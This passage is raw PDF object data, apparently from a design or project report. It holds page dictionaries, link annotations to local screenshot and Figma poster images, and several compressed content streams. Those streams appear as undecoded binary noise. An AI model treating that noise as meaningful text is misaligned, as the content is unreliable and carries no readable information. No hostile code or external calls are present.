+/Type /Action +/S /URI +/URI (./Images/Screens/F1TVLOWRES.png) +>> +>> +endobj +1245 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 265.935369 297.637795 250.920969 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/F1TVLOWRES.png) +>> +>> +endobj +1246 0 obj +<< +/Filter /FlateDecode +/Length 2932 +>> +stream +x[Y#~ׯг<0u$$vAe7:H(jzrhël:JZ!z×JG x#Ax*6h`ǟ?~8hTJkaUt~~Y y?W$TH`Gdw~>شTf5MoVa?|l9Ί s A8^\`TpBys&lsZTLѺA᛿}opT!V~~=IJlҷ=)>;+l]x-ϩRuCK^\փkcʘ{+\GziE>N3xÄׁ_eNi΋Xi(d4j{,4|}êх-fNUB +*F.pQu5!*#d24I?*6 , 4s,Sںn4y@%E+P -PÈ7U9n㷈q N-*9.蓝0둰4F`>[_+g!L縓2o%4_^6ğM{o_MۓYϳIv\ +*{)hFG}/gT-E[EF [I zȑF4j=5ΗE_GAwCB#7ʸ\Wu8Mxk& \3>M,ӕ!⑼0`<zX=>}.thHux3d^ erUe0S XC6EW%~s<X.HEgbP_LoZvKZ8L Ur#CٸĔM;ۆ5ĕU-U]S.;Ut25QF8-,  K"Yg;Kts6[7{]+dڣ=:ՠQ lQ[UrHQ+3(׮+xjtH:ص@Vr2S)tR>m !s<4VC]fjmiK3Uw-O_ֱhYWr+ g)ʭqԶOj 3ȧes- a$1O+v_u]7Ξ dܲEwksKYh'Li!C喅ΰo25UJIY0jن' + eR1juR {z 8/xj^|ͼί{]XAKץO <4CDߊ@ln0uf,r m_ez@}*٢I:'yyS+/ȘؙB+jC؛ }mPFWFzF4[(ؠLyET’޵%f6*AoؙC؈d(M|r 1@zo 7Ƃo/^U|s?X'wq7Rf +CL}Z?F` CF]gJBQSF01GcE򲜰LuvSKxݝ`)nY* 29ˈj.# N2t>~SXtPH}%z]'ej?\s, +K9t/P * w1Tfvn van^GFim/7Ng OUx!SY1G.)>tBE M!߳m}_xҾb>*owJ򰼽hr^ %-a;̌rI&-bh;_T}יzxꩣ +; {:<|ǟt?ows)M:Pv8*wgRȥ *+3P΂˟4~]™`bP@^^ OlqY?G +endstream +endobj +1247 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1246 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1248 0 obj +<< +/Filter /FlateDecode +/Length 2770 +>> +stream +x[IcWl4H`AZm `VdH>{&艏K֯3ߊׂy'Μ_1ȷO1t4 Nx&*6*ŌV~>ƻywBJfDޤU0~{\,\TxcGljYAd P^h`!XB%vwF,ҽug +U-q QhWZ7U>yQpeud-n\Q9(h ˴b5}<4HZ^\jB)%MÑJV P02oJM%K!,JMzܐA;88HNo H> +TvCѼͩxP@LekdPjߣ9q;;3 BlCJAF( tf :,Q!cxtN uz<'ÓZ+MbBa@0< # +)(m0w՚,[SGUL^x! +O:rbYnDQXؔJi!%>g6mf\e`@/<:l}nuyVRw-N@@}4 }aJU`nX9 Y^;j(D?C58PVXBmQji?z:Bu՟ +w0!X,uRH(RQΆjăwJ۳|]'a,I0Iqĝ'IY_6 7;~cxC{&c&ޙh#xTok/BZ OAAԢ*rgg&.uExz<6:8;#֦mw"ky59o0C| m0̪ӛF\@}T.CPʼt_e 3iO1{ +endstream +endobj +1249 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1248 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1250 0 obj +<< +/Filter /FlateDecode +/Length 3803 +>> +stream +xɎ!:H$rp`&(Ka.K%F(BΜ?~>IC/^hwh Ax*H>RJi-.t:_~<<@՟ |8^O'U qVA1O?~?WSx\\xRLR | L6^63# +0ʔ ڊ*DkmUa6yDW\'%utP}7"4G51O,.EcOEK>^: ODxur4ሟ!8]1$9#xܛy(ޯߦ{ta*%";~W +*E%uI# +0iq5*)"e912F5PGOכ}l3_pkLXvo4҆!8M4y~$F 5,F%L"~&1̼חHe=kNqikY}nv4zU$;1eXd(HH0y+![dj| `ˑԷ΀yNFxU +#ם2XRcC2Pr9].Oҹ.0 40s4>M]JOiJt\\!~H?تf{Ij&ܚ& q=]fJrd= +h2 >TE:UM^ 4Ydfc\撺\ã`Uj%n0U<&$2bYC`,t)ٸ7)!x 7J`F'2n`[&A'-B|5^ 9dɡQk wpt°untw`E|>tz>ކ)E ކ9߾Yjx\JygQPp=Hvټ8?>uӘS-WkWn#3"ꨥJJ_8M-\m` +%|.Mg͜Qu +YasJ waL(-ceR?;srcP4L+/Lph(["SxzU;7!'K}#b0j뎹 0 biYk}F&L~Hiۄ*h5@;goiwldx>$KϤ xʶmLķېɣ.dx_&Bl:6DI{CV~2P&b!:dCKQD[Gd uåqӵ>mZHiuQI qKUKK9^ +Q ;Q9 +~EPUHLj.>o1JkWT&C&c'L:wgcGLk ԶL=C}e QSQ9)ljSCv3-xRp9/99+s & O F-St`.tzvLzkmaN}}(͕v>V|`]M~0y^/iôh Sڵ&=H+ +1;{}k(Zԫbm[tA]c޴lZgkg gb{,_ &"F۔r]@\"ԑ]g6:kBNyٵYg ^doaxi.q8aG^'YI{q;SrLZ[{wd%B_cb/֐ LxP)\Lmw _:.d= <2ML~"&<{㦊5[`³7d45xs&oôVW['"|rVK3]zr5#`/Rk SCsh*\ z*KhD>W|4^ZiEB#͗1r]5;LLx[H6y(&?E[0Ӧha5@Qv/9'_s]FxPV徃F8[Hul"Rg, $':x\|&:?i $d;+-gHnL{ >.':bDovptMbOnV隅!hl^cW~<qqr7ZHȸ,0.o Ąjqaz&gPwptF"|a"odhaM.2w>WF:#-=~: p`e430_?&1OUօn, oo &2Ä*B>:)h.]ᦓY7QD4=v ` + i4Oip6"bxÅ[<0JV I]COԏL43"1-WݾY.Pur`zJ5 ic\}݃}U:^6}*KFPev:oȎdJN<A7 ACk,Mát_/>5v,[B(&Ia +endstream +endobj +1251 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1250 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1252 0 obj +<< +/Filter /FlateDecode +/Length 3008 +>> +stream +x[ێ$9}EâVB=_AJDGGi;+c}w2}icoshwgW״={sǹP?ow ^?eMU#NoSǼoy*po^`S~nMMڤ16 EaSͦJƍ\(`W7oX>瑏3+~]U1 H?*ug^즳 WLBj^QVF$|WLօ9`XKX[i7Yؠ_6utÂ!+y.coٽf#S2}ص|C5.ǯ4vff,,Ar(% nϕ'kt{z1 ;G WF7.L. ׂ},&$趲< ]72[lsk vٞ+ՑR=FT#_#(B<`ypiH{^ǚMI&8X8օY~[ٛdઐo]'\^t/ҠP1߼dOCiiOj:sYZ!\E4W?3$e)aaC~TAĔ93c/x贗Y.;D+QM 1mz۪bjIx1'%!=ѭ SnIqғQ[[]K; \@Ny[Rr˼ϓ* [ͺ~^sIO@˽,| VɢDPٲ35j+Q\h%V*~lcWʨW-7=Ԭj`~^׬a !x"l +LV>dPAyʴL'uLh5 ++uQAPЈK!N&<߆DuLeнotPXÜ.!%:hj85(q8Hm,7.ʥR5)}Vo=8Y5kYLD^Pf_{O1ui4 +|!J.4e^OkP6heBtM`&zXGATKѷ.HJșo1˟B+SFe"zHQݞ1#u'[&L'{DJsnޢ^of!DBLJH!ĉn"Q`DYb]n){2ֹw:Y6 +Nu* c2(/@nźr>J"_m2"2p(kV^3 gK (Ç$LQc_krȪgj~ZOXcq[1Ő̵=MkBVG<`( k=^¬{ARKXc[k4 %\LtH美&>Q69'M;a@4T9]f+rKgv:@ ![ym߰XRGpD  +edx +Rsz0(+:8*o@y︢툌JVshae0:X+rjju:V)+,ÕU|[ *A&*< H[7 Σ k!SP8AZ<}ϷjiM5V,[J3TA)+ЇlE$/ID)kH^|mJYCʷ(DiS +;y@NxPoe@oXh)*PR,㣔?B[-ӜlESVf$6u\cȜ\3و(iHcw+k+5E@)^^k 78()m\etF}gtTgOH!z*ى敺jE^Q}tZĽ}+zCuةNE2%rHl!XV^r7,E, ĩ22 lQ +Y-`WWs,[#UIOUowv/wp-_ Ɖ-:(zy[Z[uuttx- ǡ{ +wcLmg2EU/.jw TR4 +ƋajZ_!--h$KSó5e!t=,!WUT/v ǸyvJW9tv?=< #C5C8]!1*9WDH{+opuM!w +=J xS[/Ȱ=mplT(N +0)UE\[ruќ D;]J +h%=m}H&2ޗ =?O"9UCagPR~#3z>рr%X,?mߑ +endstream +endobj +1253 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1252 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1254 0 obj +<< +/Filter /FlateDecode +/Length 2573 +>> +stream +xZK#Wl mB@ ؆e:Hbdx\])>/3X{47w|~*,&˰H)Fk_izBR*X]<ϯ?(ZE)a<~:4U&?6nknf 2a +K aq>3}QlIԋ,a wsn 򐆮rvѫԥ +:Jw|te"H?BBPJZ.LsY͕|K{IcS|e|4Ls]2--nZ)Fn+s>j7E -W&Eč@1}H.|TIH"]U$d¬IݦE&biD ,,h +e{IkH(ӽ(m2m&L5$iR)i` f=b/y-KỶ.fֹׄ9oCdY`Ɲ/Po<*t?mܡ[%V\ +Ԥ@#-(oJIźE~k‘(1=mSﹸs=AO+j,I^Z-‰mB>hΜpuf[aĖuW>gͱ4-Zl֤a0vr8Tgnmܪ[|8>Wj$Fc/* x*gni׶/_[N:rdrm"cB@hn*h3'3).vCI2N!ZΙu'v:<{"z .(-g;#ԓAa6<ޠwƣ{0׌S7,3#tvzyvGѠd9x]ڔD},9ͺI l/jp;LZz8ͧa*H6gyU<ڮ4V-%:y;В{$ƅMص޲.OrrҶ$(]Brmx^ Fea B_9zde5FjVLF#q AJRBFn36`;)ݓym +o8ՠ8BeQ3.&~KuOTC +ְ۴LlHϐwĬqKǓ7S*gඥoybNl$02wJ(]e.,@?Uv{1́ K[_q/5Ō-a̕HiV@EpaNŇ&36 +_,ArkV7Bn J1sѶV{n+[8UL^VW*6Tli\=* ?rrKM3cKp,*sZtWxbQ@zvZm\n]gE 뭕-!nS]]ЃucÍP! 8iMAhkB²[tLċǨ[A90$8H85\h_ߚ(.>S.dΫΐ%:j7`)^,JJ,GyC>J6FQx-ň/.j#M~ߤj)5k5;Tj$hY/)io) Zݻ&4Y&|ï_Q2^a-}^x"$2+<+Ll9.w1TO/u>ikP$5}ߚog5hx;Ӿs=0mDd7%m dК79D39C[;M|ƣ%zK%Z[wYG@Zmc_BS>a`\ÇK2Rpf$U0Qa0+?oADt 2% *rB.rj> +endobj +1256 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 243.657618 39.386457 228.643218 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/error105Loading.png) +>> +>> +endobj +1257 0 obj +<< +/Filter /FlateDecode +/Length 501 +>> +stream +xT1 WڱK"vڮ8Nf +3,H&d8C xy-oe@Qդ/o]P]s-ČS%"Akz< CPD3(y1m;(0 0=h +j3+h1R{P65V/נaSa'z,\_ldz>֣{=@9ٌ-AObu25ؼXBq.Ižvûo?'jhs}w>o…2dF E-tnyIھJ`E +ܨvq#UJɾOrSO>,rp>[\wB*g-HdL%P#<)uԼ$\PF3Ńs 7PחڗgRwŗA.d=-]X\!.SihW`尉w9`p/M'{~ _% +endstream +endobj +1258 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1257 0 R +/Resources 4 0 R +/Annots [ 1259 0 R 1260 0 R 1261 0 R 1262 0 R 1263 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1259 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 481.835925 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/error105Loading.png) +>> +>> +endobj +1260 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 481.835925 297.637795 466.821525 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/error105Loading.png) +>> +>> +endobj +1261 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 423.655125 39.386457 408.640725 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/error105Loading2.png) +>> +>> +endobj +1262 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 423.655125 555.889134 134.467428 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/error105Loading2.png) +>> +>> +endobj +1263 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 134.467428 297.637795 119.453028 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/error105Loading2.png) +>> +>> +endobj +1264 0 obj +<< +/Filter /FlateDecode +/Length 1195 +>> +stream +xX͎6 )Պ~$hgI%,$SǏ0k'ZP1~>OZSVte3*#4 +@AD,)ua0F9H>qzX@iPhE"hϧ *Ow3L6M=jm.ZHtl;V/LkZ71Or}M%7cry똻sݪ\wsUF 4~fokYm9c;RBݫ6 ۼ׽~kcӻ6aZ{8;3or(a DZ(޳Xs9`{q'4y1!mksh!ۯPaK8l9vꦣ$ЛpM!CSS!;r8K4Wْ1Pff,fc$9 zK~zVd+ׅA28ma_uȘ%Ǟ4+q[q^D`)pWѠ,P97-a׷a6Q($ +qϕ2O3^34G^sX8sJp\ n4(c*Eucl=ҔÂY>q94ВZt]j:Dx (UkJ`$#ĹZV̓2WHegHXXYs8-r=yӃ$Єww"H梯M٢RJodn\[E_S;Ps~g.GAcu%;ґ#=]I(f |/(Z>Y8;ɱ2ˏ]_Ob#%6DDjk|ʇ EGBfo~I^2Hq5- Zr^pЛ ^_+}wz!L^E19WΑ(j3qb~ 6j)'D%\CsFQ8eI RB|-rBOb~k'ObivZYz%ÀC QC`y9|%?h;g+꯭|-a`R.SlVV +Tt +FV̟I ː`x +ᱝ) +w6 +endstream +endobj +1265 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1264 0 R +/Resources 4 0 R +/Annots [ 1266 0 R 1267 0 R 1268 0 R 1269 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1266 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 540.177222 39.386457 525.162822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BEFOREFULLSCREEN.png) +>> +>> +endobj +1267 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 540.177222 555.889134 240.229053 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BEFOREFULLSCREEN.png) +>> +>> +endobj +1268 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 240.229053 297.637795 225.214653 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BEFOREFULLSCREEN.png) +>> +>> +endobj +1269 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 157.649853 39.386457 142.635453 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AFTERFULLSCREEN.png) +>> +>> +endobj +1270 0 obj +<< +/Filter /FlateDecode +/Length 1778 +>> +stream +xYۊ7}J* >$'yp\ 䡧c;ҥU=8>J2̖?_LJ"d e<~'C98sF)A3A2y74|;:5!k) c +2f||7X?ӑUU31%( $6 R(f|zCZ~g"LOp@r\=.19C]U}eo~lp}&3ȗ"Yogk8/k%,f +ѱk#M(y>5fc_H0cȿ>qe,31_<OoJk/TL\!8h1|ߥ*E,rJwSOzt-Qm ujvw9(k}^rM*v=k{7b[l=.,_Rkl3$&l=Hs% 5he\t}EFѣ'F }z^*{d&|j:$wۘabZlN*:JݜBLjD̼9 +8&Clq4h{ ]jd/5jr\kLְjw|b43XfUio~+e#DW㼖bAQAuh85K~ZQ&s2%//.+=b1Y(`]H#W (fhEū?+enasNh",ŮHfmL/N0尴g={Rm|k26uCH!r6s8L/}kwJё{DpqRQQ+AY>O5~b6 | F@#7F.ۤUi9l2ގMr{*U$'<x6  %W[έoigCC24"9*:&58ipMYrJ8_Y=DL|,1 OzIj3"5·{gWaUlMtru'yq3M|(7,qqq3+0r.9pJjS]n)=M99'B?8߽'酗ڜ,1qvDŽqdU6\s0W<1fWNB{1ٯ Lݰxxv6t!z\b2'E6y2 +endstream +endobj +1271 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1270 0 R +/Resources 4 0 R +/Annots [ 1272 0 R 1273 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1272 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 480.632659 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AFTERFULLSCREEN.png) +>> +>> +endobj +1273 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 480.632659 297.637795 465.618259 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AFTERFULLSCREEN.png) +>> +>> +endobj +1274 0 obj +<< +/Filter /FlateDecode +/Length 2928 +>> +stream +x[ۊ$}]J +l.5c}1KHGTUw"RD(.'B9,kI#Vyt|~҈K}>_jw,&ֳaR(MDkӏ~ՋRGs7W<=BySl̺%5-dT ?w,@+bQĉM\I0B뻃 &U/Nd]E'WI^8#AF ?wd,@dV/ʧ{e ~ٖY,d +Dh6Hg-K1N 8 Ucѵ®m+RP~kS7Wre/ϫ\s}(>ic"-eIC>70n\i2,o0#)U9p͖6Tw037<^rrG&,P&+=^|5sNEvCR_:9Gyj^ +Bkb57}b9V#zZxPʝ@ cdSC rwʶ|k]ڸVa:6ՕvuPw:{Ks=-ldʹc-o'p֧qv5 ictpҸ6&Bt2yikkk5xbfZ-k4a+9UdʣFb )k/ׯ "%b X4aE/)3ԯF-ޔĦx(:s%#nկxW6f?6BPViK>6vu8c zExx{99^}k fyO`}Ǽ?# +⫯g}v +3o%K`Vots%)m4r|Wo(0{ `D}  zQSfr-x&'!&ޮ9[G~yB; +N5!ޭNY [YzklXc7^VY2aE~h ZPSVc‚zCruwCAaY]0=E_(V5}%t%xH$c00cR^UHoC +;_I!uF _1"8 +endstream +endobj +1275 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1274 0 R +/Resources 4 0 R +/Annots [ 1276 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1276 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 184.196622 39.386457 169.182222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/SettingsUI1.png) +>> +>> +endobj +1277 0 obj +<< +/Filter /FlateDecode +/Length 1319 +>> +stream +xXݏ6 _UEQ>{Xb؃ `-Yc_n.Ab["?DR6KCcA+Mx=*L`1 +i@1:tNwN!cr +ƈ1*0)DfoFÅj_$&;#!(#u/Vs!FAM(*ٖSd6 +".53l17\R#ek&DORxØ|uǿ1s@0~ȟw EKAE.hpG+7&woGq߇B {4 +,)(mYkQB'\q4o̼Z=rs|'wd⎄a-q^(/ y{t\ױ |W1`Jc\/xδϥY>(0X,kzaRMvi3}uqk ` e/Z-,lœzLfjdo^yQc^Dn]`~M__hFlju zU}:'#G y9F^՞j\ADIlrsϿqeU3sUӊDݒ[xϝ QxIXPj}]p[{|}j/~%[;zQT 6eFݢ^k4\=[& Ջ~fIJW~־5ͳť|WF3g(|Jd +Iyϵ%L6q,Sm/޽f0IϖO@}+xO!.ތ+))f }a[О?wO8 +;M(ѸMJv2[wn{cL#=QNj]dޱv4/EQ;oN)]`|}zڤթ6A(.#l5|~{}_Goy>*Kd@ +˼RTk[B%Z$S]'Z^C3pۧ`4FBЁ1pQD0Ec)gHGL:_evcΧٔ?ⱅl.3 +endstream +endobj +1278 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1277 0 R +/Resources 4 0 R +/Annots [ 1279 0 R 1280 0 R 1281 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1279 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 505.361714 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/SettingsUI1.png) +>> +>> +endobj +1280 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 505.361714 297.637795 490.347314 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/SettingsUI1.png) +>> +>> +endobj +1281 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 195.995414 39.386457 180.981014 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV3.png) +>> +>> +endobj +1282 0 obj +<< +/Filter /FlateDecode +/Length 380 +>> +stream +xRn1 +v؎J-A !2Shdg,px8NPưW {3| *c}1ZLswp +3Z~# 2Q)PמA}J)-QTj?[QuSQch\l;8lN=6WHz8(VgQE&ŋ׶.,l!f`@xٲ}3X#*%rEп<wn>> +endobj +1284 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 40.569523 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV3.png) +>> +>> +endobj +1285 0 obj +<< +/Filter /FlateDecode +/Length 706 +>> +stream +xUn1 WHI +J@BvlOEj 'L]@n'x Z"izrU|/'rp)LIIm !TO8Dl9 4~ynhPN ![_1^&P('uR2.YV؞?1%Q3236+D@Q"Xj)!c6̥ŗdӏr ,we;K.*? i8>RD; j +endstream +endobj +1286 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1285 0 R +/Resources 4 0 R +/Annots [ 1287 0 R 1288 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1287 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 771.023622 297.637795 756.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV3.png) +>> +>> +endobj +1288 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 634.017222 39.386457 619.002822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV4.png) +>> +>> +endobj +1289 0 obj +<< +/Filter /FlateDecode +/Length 382 +>> +stream +xR1 +d؉  A !tg@]_%S88vy\97(Y!q l56Mޢ'fH**B-xk"sΩp^.OfωÏ 9ճ[Ɦ&n/IyAf=걹QCc}=}qfs苜F1 %ejZ#U=e8BIQ޾{.$ci _q2T3z%Dy!*]Qr]|8HucGݗ8݅ӿjQt> +endobj +1291 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 40.569523 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV4.png) +>> +>> +endobj +1292 0 obj +<< +/Filter /FlateDecode +/Length 554 +>> +stream +xTMo0 WL%%J"ۡۥ@ vhҥhd XhGQ@wBE +gre g/u^sI+I8Fcbv?˯ž=C ',Yyiy@rD-ո^CH,KX! B͗O?~sh qٟ:n7+[uqGa&eCO( E|lrdO8XqljPOl,fyo!nk5\qn縭ш'ڵuxfyyp'ߊ6[&5ό?O'=f Zǵ+>/B=45Yw ,J 6ȇ}[h*܌se!K.I1mV|222c1̎Gڕg>c,bf;,^"g<|W"t"h:CsI>"vV@ =~bg:;mt O@= +endstream +endobj +1293 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1292 0 R +/Resources 4 0 R +/Annots [ 1294 0 R 1295 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1294 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 771.023622 297.637795 756.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV4.png) +>> +>> +endobj +1295 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 673.430022 39.386457 658.415622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV5.png) +>> +>> +endobj +1296 0 obj +<< +/Filter /FlateDecode +/Length 383 +>> +stream +xRMo1 Wډ;j{(\8GmKv7Ǚlj{DLBͪp LVcd\cFJh$)#3͙->߇Ge2fs")QV ݞVKQTJ[NNE-SnEejcuCc-V![M%;i{ii>qY,䏏5wӂꔐ-&% >p.6ci_2K \{*38qewzaUMn.L"WnqB^ڇ" li!^ y k\3`N#w@--pm̰[a?p~ +endstream +endobj +1297 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1296 0 R +/Resources 4 0 R +/Annots [ 1298 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1298 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 40.569523 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV5.png) +>> +>> +endobj +1299 0 obj +<< +/Filter /FlateDecode +/Length 670 +>> +stream +xUn0 +UH=) C`(z9@JaR^er +G5Q:E_K-[p֡*ςab pb uMGqW 秾6A +yKn|/ߩos/k\\M}HB2W\8}YVIRKj;lQHvC4>N9 =qUq +ٍ- ؓOb?] x)>؊"h\=Ucc a:XjC3c'f٦<};l# !|$' :W"PD$X92!C:DrI +X8s&S351)+jxc +endstream +endobj +1300 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1299 0 R +/Resources 4 0 R +/Annots [ 1301 0 R 1302 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1301 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 771.023622 297.637795 756.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV5.png) +>> +>> +endobj +1302 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 658.415622 39.386457 643.401222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV6.png) +>> +>> +endobj +1303 0 obj +<< +/Filter /FlateDecode +/Length 382 +>> +stream +xRMo1 Wq QJTqv*PmNv6gf'~91ּ c|~Hl`Min;yFDX8 -??g1eR@KϠ1]l 0?Js:z1[*v,j ݚҀM\߷{b [C̳^^I4@0 䟏5ӂ5:աD[KSUnciNwI)WXfDא.q`x4No|U^ÂzqNW=Aڇ! l/62vX%ns %`p/,k]#g +endstream +endobj +1304 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1303 0 R +/Resources 4 0 R +/Annots [ 1305 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1305 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 40.569523 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV6.png) +>> +>> +endobj +1306 0 obj +<< +/Filter /FlateDecode +/Length 656 +>> +stream +xUMo0 WL%%J"ۡۥ@ vHҦhe'Űav6IQh@w(DhSɜ ,X{^&ϖspM&K)aʆ1YDp^^zoyl^Is8At1@ts@ tGU?+bV ~.hS $\JDf<|;Щy~+awDKH"y +Q%d& j(ɿ/`V r paXA@TA*{+ܞPsNg}*Es#0}׿qlg|T}b/%Q\_ZDžG< r'}иʻg~3$N8'o8k Mo%t1ԭ0thmN}.5mX[KP`yk_+ϰ{Ɯ1Xo'I @j+)|pI*IZBoKM{cDv1;$#% p{dEbuZ饋m}zXeJ?u sP\@Q^ ̋8A0`I7:%(}G`q'w'4\{icm֪ +E5˛ +endstream +endobj +1307 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1306 0 R +/Resources 4 0 R +/Annots [ 1308 0 R 1309 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1308 0 obj +<< 